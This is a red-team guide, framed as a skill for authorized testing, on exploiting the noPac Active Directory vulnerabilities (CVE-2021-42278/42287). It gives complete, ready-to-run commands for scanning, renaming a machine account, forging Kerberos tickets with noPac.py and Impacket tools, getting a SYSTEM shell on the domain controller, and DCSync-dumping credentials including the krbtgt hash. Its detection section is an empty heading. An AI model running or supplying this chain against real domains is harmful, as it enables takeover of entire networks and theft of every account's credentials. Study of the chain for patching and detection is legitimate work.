Exploiting Nopac Cve 2021 42278 42287

Exploiting noPac (CVE-2021-42278 / CVE-2021-42287)

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Overview

noPac is a critical exploit chain combining two Active Directory vulnerabilities: CVE-2021-42278 (sAMAccountName spoofing) and CVE-2021-42287 (KDC PAC confusion). Together, they allow any authenticated domain user to escalate to Domain Admin privileges, potentially achieving full domain compromise in under 60 seconds. CVE-2021-42278 allows an attacker to modify a machine account's sAMAccountName attribute to match a Domain Controller's name (minus the trailing $). CVE-2021-42287 exploits a flaw in the Kerberos PAC validation where the KDC, unable to find the renamed account, falls back to appending $ and issues a ticket for the Domain Controller account. Microsoft patched both vulnerabilities in November 2021 (KB5008380 and KB5008602), but many environments remain unpatched. The exploit was publicly released by cube0x0 and Ridter in December 2021.

When to Use

• When performing authorized security testing that involves exploiting nopac cve 2021 42278 42287
• When analyzing malware samples or attack artifacts in a controlled environment
• When conducting red team exercises or penetration testing engagements
• When building detection capabilities based on offensive technique understanding

Most Often Missed & How to Confirm

• Not checking MachineAccountQuota first. noPac's easy path needs MAQ > 0 so a normal user can create a machine account. If MAQ is 0, you need an existing controlled computer account — confirm via the ms-DS-MachineAccountQuota LDAP attribute before attempting.
• Failing to restore the sAMAccountName. Leaving the machine account renamed to the DC name breaks things and is loud; the chain must rename back to ATTACKPC$ after the TGT request.
• Targeting a patched DC. KB5008380/KB5008602 (Nov 2021) close the PAC confusion — verify patch status, a fully patched DC will reject the spoofed-name TGT.
• Wrong -dc-host / SPN format causing S4U2self to fail.
• Clock skew breaking Kerberos — sync time to the DC.
• How to confirm a hit: the success signal is a usable DC-level ticket — noPac.py ... -shell drops a SYSTEM shell on the DC, or KRB5CCNAME=administrator.ccache secretsdump.py -k -no-pass ...@DC01 returns the krbtgt:502: hash via DCSync. Don't conclude the domain is patched until the scanner (cube0x0 scanner.py / CME -M nopac) reports vulnerable AND a spoofed-name getTGT.py actually issues a ticket; a scanner "not vulnerable" with MAQ=0 may just mean you lack account-creation rights, not that the CVE is patched.

Prerequisites

• Familiarity with red teaming concepts and tools
• Access to a test or lab environment for safe execution
• Python 3.8+ with required dependencies installed
• Appropriate authorization for any testing activities

Objectives

• Scan the target domain for noPac vulnerability (CVE-2021-42278/42287)
• Create or leverage a machine account with modified sAMAccountName
• Exploit the KDC PAC confusion to obtain a TGT for the Domain Controller
• Use the DC ticket to perform DCSync and dump domain credentials
• Achieve Domain Admin access from a standard domain user account
• Document the complete exploitation chain with evidence

MITRE ATT&CK Mapping

• T1068 - Exploitation for Privilege Escalation
• T1136.002 - Create Account: Domain Account
• T1078.002 - Valid Accounts: Domain Accounts
• T1558 - Steal or Forge Kerberos Tickets
• T1003.006 - OS Credential Dumping: DCSync

Workflow

Phase 1: Vulnerability Scanning

1. Check if the domain is vulnerable using the noPac scanner:

   # Using cube0x0's noPac scanner
   python3 scanner.py domain.local/user:'Password123' -dc-ip 10.10.10.1
   
   # Using CrackMapExec module
   crackmapexec smb 10.10.10.1 -u user -p 'Password123' -M nopac
   

2. Verify the MachineAccountQuota (default is 10, allows any user to join computers):

   # Check MachineAccountQuota via LDAP
   python3 -c "
   import ldap3
   server = ldap3.Server('10.10.10.1')
   conn = ldap3.Connection(server, 'domain.local\\user', 'Password123', auto_bind=True)
   conn.search('DC=domain,DC=local', '(objectClass=domain)', attributes=['ms-DS-MachineAccountQuota'])
   print(conn.entries[0]['ms-DS-MachineAccountQuota'])
   "
   

Phase 2: Exploitation with noPac Tool

1. Run the full noPac exploit chain:

   # Using cube0x0's noPac (gets a shell on the DC)
   python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
     -dc-host DC01 -shell --impersonate administrator -use-ldap
   
   # Using Ridter's noPac (alternative implementation)
   python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
     --impersonate administrator -dump
   

2. The exploit automatically:
   • Creates a new machine account (or uses an existing one)
   • Renames the machine account's sAMAccountName to match the DC (e.g., "DC01")
   • Requests a TGT for the spoofed account name
   • Restores the original sAMAccountName
   • Uses S4U2self to obtain a service ticket impersonating the target user
   • The KDC finds no account matching "DC01" and falls back to "DC01$" (the real DC)

Phase 3: Post-Exploitation

1. With the obtained Domain Controller ticket, perform DCSync:

   # DCSync using secretsdump.py with the Kerberos ticket
   export KRB5CCNAME=administrator.ccache
   secretsdump.py -k -no-pass domain.local/administrator@DC01.domain.local
   
   # Or directly through the noPac shell
   # The shell runs as SYSTEM on the DC
   

2. Alternatively, obtain a semi-interactive shell:

   python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
     -dc-host DC01 -shell --impersonate administrator -use-ldap
   

Phase 4: Manual Exploitation Steps

1. Create a machine account:

   addcomputer.py -computer-name 'ATTACKPC$' -computer-pass 'AttackPass123' \
     -dc-ip 10.10.10.1 domain.local/user:'Password123'
   

2. Clear the SPN and rename sAMAccountName:

   # Rename machine account sAMAccountName to DC name (without $)
   renameMachine.py -current-name 'ATTACKPC$' -new-name 'DC01' \
     -dc-ip 10.10.10.1 domain.local/user:'Password123'
   

3. Request a TGT for the spoofed name:

   getTGT.py -dc-ip 10.10.10.1 domain.local/'DC01':'AttackPass123'
   

4. Restore the original machine name:

   renameMachine.py -current-name 'DC01' -new-name 'ATTACKPC$' \
     -dc-ip 10.10.10.1 domain.local/user:'Password123'
   

5. Use S4U2self for impersonation:

   export KRB5CCNAME=DC01.ccache
   getST.py -self -impersonate 'administrator' -altservice 'cifs/DC01.domain.local' \
     -k -no-pass -dc-ip 10.10.10.1 domain.local/'ATTACKPC$'
   

Tools and Resources

CVE Details

Detection Signatures

Validation Criteria

• Domain scanned for noPac vulnerability
• MachineAccountQuota verified (default 10)
• Exploit executed successfully (shell or DCSync)
• Domain Admin privileges obtained from standard user
• DCSync performed to dump domain credentials
• KRBTGT hash obtained for persistence validation
• Attack chain documented with timestamps
• Patch status verified (KB5008380, KB5008602)